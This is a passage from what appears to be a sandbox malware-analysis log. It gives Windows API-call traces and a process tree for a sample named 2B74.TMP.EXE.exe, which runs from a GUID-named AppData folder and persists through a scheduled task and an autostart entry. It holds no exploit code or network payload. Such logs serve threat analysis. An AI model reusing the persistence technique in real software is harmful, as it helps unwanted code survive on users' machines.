0x8e [0060.472] GetLastError () returned 0x2 [0060.569] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.569] GetLastError () returned 0xcb [0060.570] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.570] GetLastError () returned 0xcb [0060.600] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.600] GetLastError () returned 0xcb [0060.601] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.601] GetLastError () returned 0xcb [0060.601] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.601] GetLastError () returned 0xcb [0060.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0060.852] GetLastError () returned 0x0 [0060.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0060.852] GetLastError () returned 0x0 [0060.933] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.933] GetLastError () returned 0xcb [0060.935] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.935] GetLastError () returned 0xcb [0060.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.989] GetLastError () returned 0x7e [0060.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.989] GetLastError () returned 0x7e Thread: id = 65 os_tid = 0xb38 Thread: id = 67 os_tid = 0xb40 Thread: id = 70 os_tid = 0xb4c Thread: id = 72 os_tid = 0xb54 Thread: id = 73 os_tid = 0xb58 [0058.722] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Process: id = "13" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x1cd83000" os_pid = "0xb98" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "created_scheduled_job" parent_id = "5" os_parent_pid = "0xa68" cmd_line = "taskeng.exe {30A33284-2FCE-4F58-AEDA-6805F44898A6} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 75 os_tid = 0xb9c Thread: id = 76 os_tid = 0xba0 Thread: id = 77 os_tid = 0xba4 Thread: id = 78 os_tid = 0xba8 Thread: id = 79 os_tid = 0xbac Thread: id = 80 os_tid = 0xbb0 Thread: id = 81 os_tid = 0xbb4 Process: id = "14" image_name = "2b74.tmp.exe.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2b74.tmp.exe.exe" page_root = "0x9fc3000" os_pid = "0xbb8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xb98" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --Task" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 129 os_tid = 0x4f0 Thread: id = 130 os_tid = 0xbbc Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0xb98" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 82 os_tid = 0xb90 Thread: id = 83 os_tid = 0xb8c Thread: id = 84 os_tid = 0xb84 Thread: id = 85 os_tid = 0xb80 Thread: id = 86 os_tid = 0xb7c Thread: id = 87 os_tid = 0xb78 Thread: id = 88 os_tid = 0xb74 Thread: id = 89 os_tid = 0xb70 Thread: id = 90 os_tid = 0xb6c Thread: id = 91 os_tid = 0xb68 Thread: id = 92 os_tid = 0xb64 Thread: id = 93 os_tid = 0xb60 Thread: id = 94 os_tid = 0x798 Thread: id = 95 os_tid = 0x7f8 Thread: id = 96 os_tid = 0x430 Thread: id = 97 os_tid = 0x268 Thread: id = 98 os_tid = 0x768 Thread: id = 99 os_tid = 0x764 Thread: id = 100 os_tid = 0x760 Thread: id = 101 os_tid = 0x75c Thread: id = 102 os_tid = 0x70c Thread: id = 103 os_tid = 0x6e8 Thread: id = 104 os_tid = 0x6c8 Thread: id = 105 os_tid = 0x6c0 Thread: id = 106 os_tid = 0x6b8 Thread: id = 107 os_tid = 0x6a4 Thread: id = 108 os_tid = 0x6a0 Thread: id = 109 os_tid = 0x690 Thread: id = 110 os_tid = 0x67c Thread: id = 111 os_tid = 0x490 Thread: id = 112 os_tid = 0x454 Thread: id = 113 os_tid = 0x450 Thread: id = 114 os_tid = 0x428 Thread: id = 115 os_tid = 0x424 Thread: id = 116 os_tid = 0x420 Thread: id = 117 os_tid = 0x404 Thread: id = 118 os_tid = 0x18c Thread: id = 119 os_tid = 0xf0 Thread: id = 120 os_tid = 0xc8 Thread: id = 121 os_tid = 0x3f0 Thread: id = 122 os_tid = 0x3e4 Thread: id = 123 os_tid = 0x398 Thread: id = 124 os_tid = 0x394 Thread: id = 125 os_tid = 0x390 Thread: id = 126 os_tid = 0x38c Thread: id = 127 os_tid = 0x378 Thread: id = 128 os_tid = 0x370 Thread: id = 176 os_tid = 0x888 Thread: id = 177 os_tid = 0x8d0 Thread: id = 178 os_tid = 0x6ec Thread: id = 179 os_tid = 0x8d8 Thread: id = 180 os_tid = 0x774 Process: id = "16" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 132 os_tid = 0xa38 Thread: id = 133 os_tid = 0x910 Thread: id = 134 os_tid = 0x410 Thread: id = 135 os_tid = 0x754 Thread: id = 136 os_tid = 0x704 Thread: id = 137 os_tid = 0x6e0 Thread: id = 138 os_tid = 0x6b0 Thread: id = 139 os_tid = 0x698 Thread: id = 140 os_tid = 0x678 Thread: id = 141 os_tid = 0x630 Thread: id = 142 os_tid = 0x610 Thread: id = 143 os_tid = 0x14c Thread: id = 144 os_tid = 0x140 Thread: id = 145 os_tid = 0x158 Thread: id = 146 os_tid = 0x294 Thread: id = 147 os_tid = 0x218 Thread: id = 148 os_tid = 0x230 Thread: id = 149 os_tid = 0x21c Thread: id = 150 os_tid = 0x1c4 Thread: id = 183 os_tid = 0x440 Thread: id = 184 os_tid = 0x5b0 Process: id = "17" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 151 os_tid = 0x790 Thread: id = 152 os_tid = 0x3a0 Thread: id = 153 os_tid = 0x658 Thread: id = 154 os_tid = 0x584 Thread: id = 155 os_tid = 0x750 Thread: id = 156 os_tid = 0x730 Thread: id = 157 os_tid = 0x728 Thread: id = 158 os_tid = 0x674 Thread: id = 159 os_tid = 0x65c Thread: id = 160 os_tid = 0x144 Thread: id = 161 os_tid = 0x118 Thread: id = 162 os_tid = 0x3ec Thread: id = 163 os_tid = 0x3e8 Thread: id = 164 os_tid = 0x3e0 Thread: id = 165 os_tid = 0x3dc Thread: id = 166 os_tid = 0x3cc Thread: id = 167 os_tid = 0x3c8 Thread: id = 168 os_tid = 0x388 Thread: id = 169 os_tid = 0x384 Thread: id = 170 os_tid = 0x380 Thread: id = 171 os_tid = 0x37c Thread: id = 172 os_tid = 0x364 Thread: id = 173 os_tid = 0x360 Thread: id = 174 os_tid = 0x34c Thread: id = 175 os_tid = 0x338 Thread: id = 181 os_tid = 0x2b0 Process: id = "18" image_name = "2b74.tmp.exe.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2b74.tmp.exe.exe" page_root = "0x7b263000" os_pid = "0x4cc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2bd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 185 os_tid = 0x4d0 [0090.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xa9a52800, dwHighDateTime=0x1d56c59)) [0090.604] GetCurrentThreadId () returned 0x4d0 [0090.604] GetCurrentProcessId () returned 0x4cc [0090.604] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=5884594816) returned 1 [0093.239] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0093.553] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.553] GetLastError () returned 0x57 [0093.553] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x73790000 [0093.562] GetProcAddress (hModule=0x73790000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0093.563] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.563] GetLastError () returned 0x57 [0093.563] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0093.573] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.573] GetLastError () returned 0x57 [0093.573] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76690000 [0093.573] GetProcAddress (hModule=0x76690000, lpProcName="FlsAlloc") returned 0x766a4f2b [0093.573] GetProcAddress (hModule=0x76690000, lpProcName="FlsSetValue") returned 0x766a4208 [0093.574] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.574] GetLastError () returned 0x57 [0093.574] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x73790000 [0093.574] GetProcAddress (hModule=0x73790000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0093.574] GetProcessHeap () returned 0x35b0000 [0093.574] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.574] GetLastError () returned 0x57 [0093.574] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0093.575] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.575] GetLastError () returned 0x57 [0093.575] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76690000 [0093.576] GetProcAddress (hModule=0x76690000, lpProcName="FlsAlloc") returned 0x766a4f2b [0093.576] GetLastError () returned 0x57 [0093.576] GetProcAddress (hModule=0x76690000, lpProcName="FlsGetValue") returned 0x766a1252 [0093.576] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x364) returned 0x35c4d58 [0093.576] GetProcAddress (hModule=0x76690000, lpProcName="FlsSetValue") returned 0x766a4208 [0093.576] SetLastError (dwErrCode=0x57) [0093.576] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0xc00) returned 0x35c50c8 [0093.577] GetStartupInfoW (in: lpStartupInfo=0x18fea0 | out: lpStartupInfo=0x18fea0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x49abb0, hStdOutput=0xf69df41c, hStdError=0xfffffffe)) [0093.577] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0093.577] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0093.577] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0093.578] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart" [0093.578] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart" [0093.578] GetLastError () returned 0x57 [0093.578] SetLastError (dwErrCode=0x57) [0093.578] GetLastError () returned 0x57 [0093.578] SetLastError (dwErrCode=0x57) [0093.578] GetACP () returned 0x4e4 [0093.578] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x220) returned 0x35c29c8 [0093.578] IsValidCodePage (CodePage=0x4e4) returned 1 [0093.578] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fed0 | out: lpCPInfo=0x18fed0) returned 1 [0093.578] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f798 | out: lpCPInfo=0x18f798) returned 1 [0093.578] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.578] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿIĀ") returned 256 [0093.578] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿIĀ", cchSrc=256, lpCharType=0x18f7ac | out: lpCharType=0x18f7ac) returned 1 [0093.578] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.578] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f4e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿɖJĀ") returned 256 [0093.578] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.578] GetLastError () returned 0x57 [0093.578] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0093.580] GetProcAddress (hModule=0x76690000, lpProcName="LCMapStringEx") returned 0x767247f1 [0093.716] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿɖJĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0093.724] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿɖJĀ", cchSrc=256, lpDestStr=0x18f2d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0093.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18fcac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 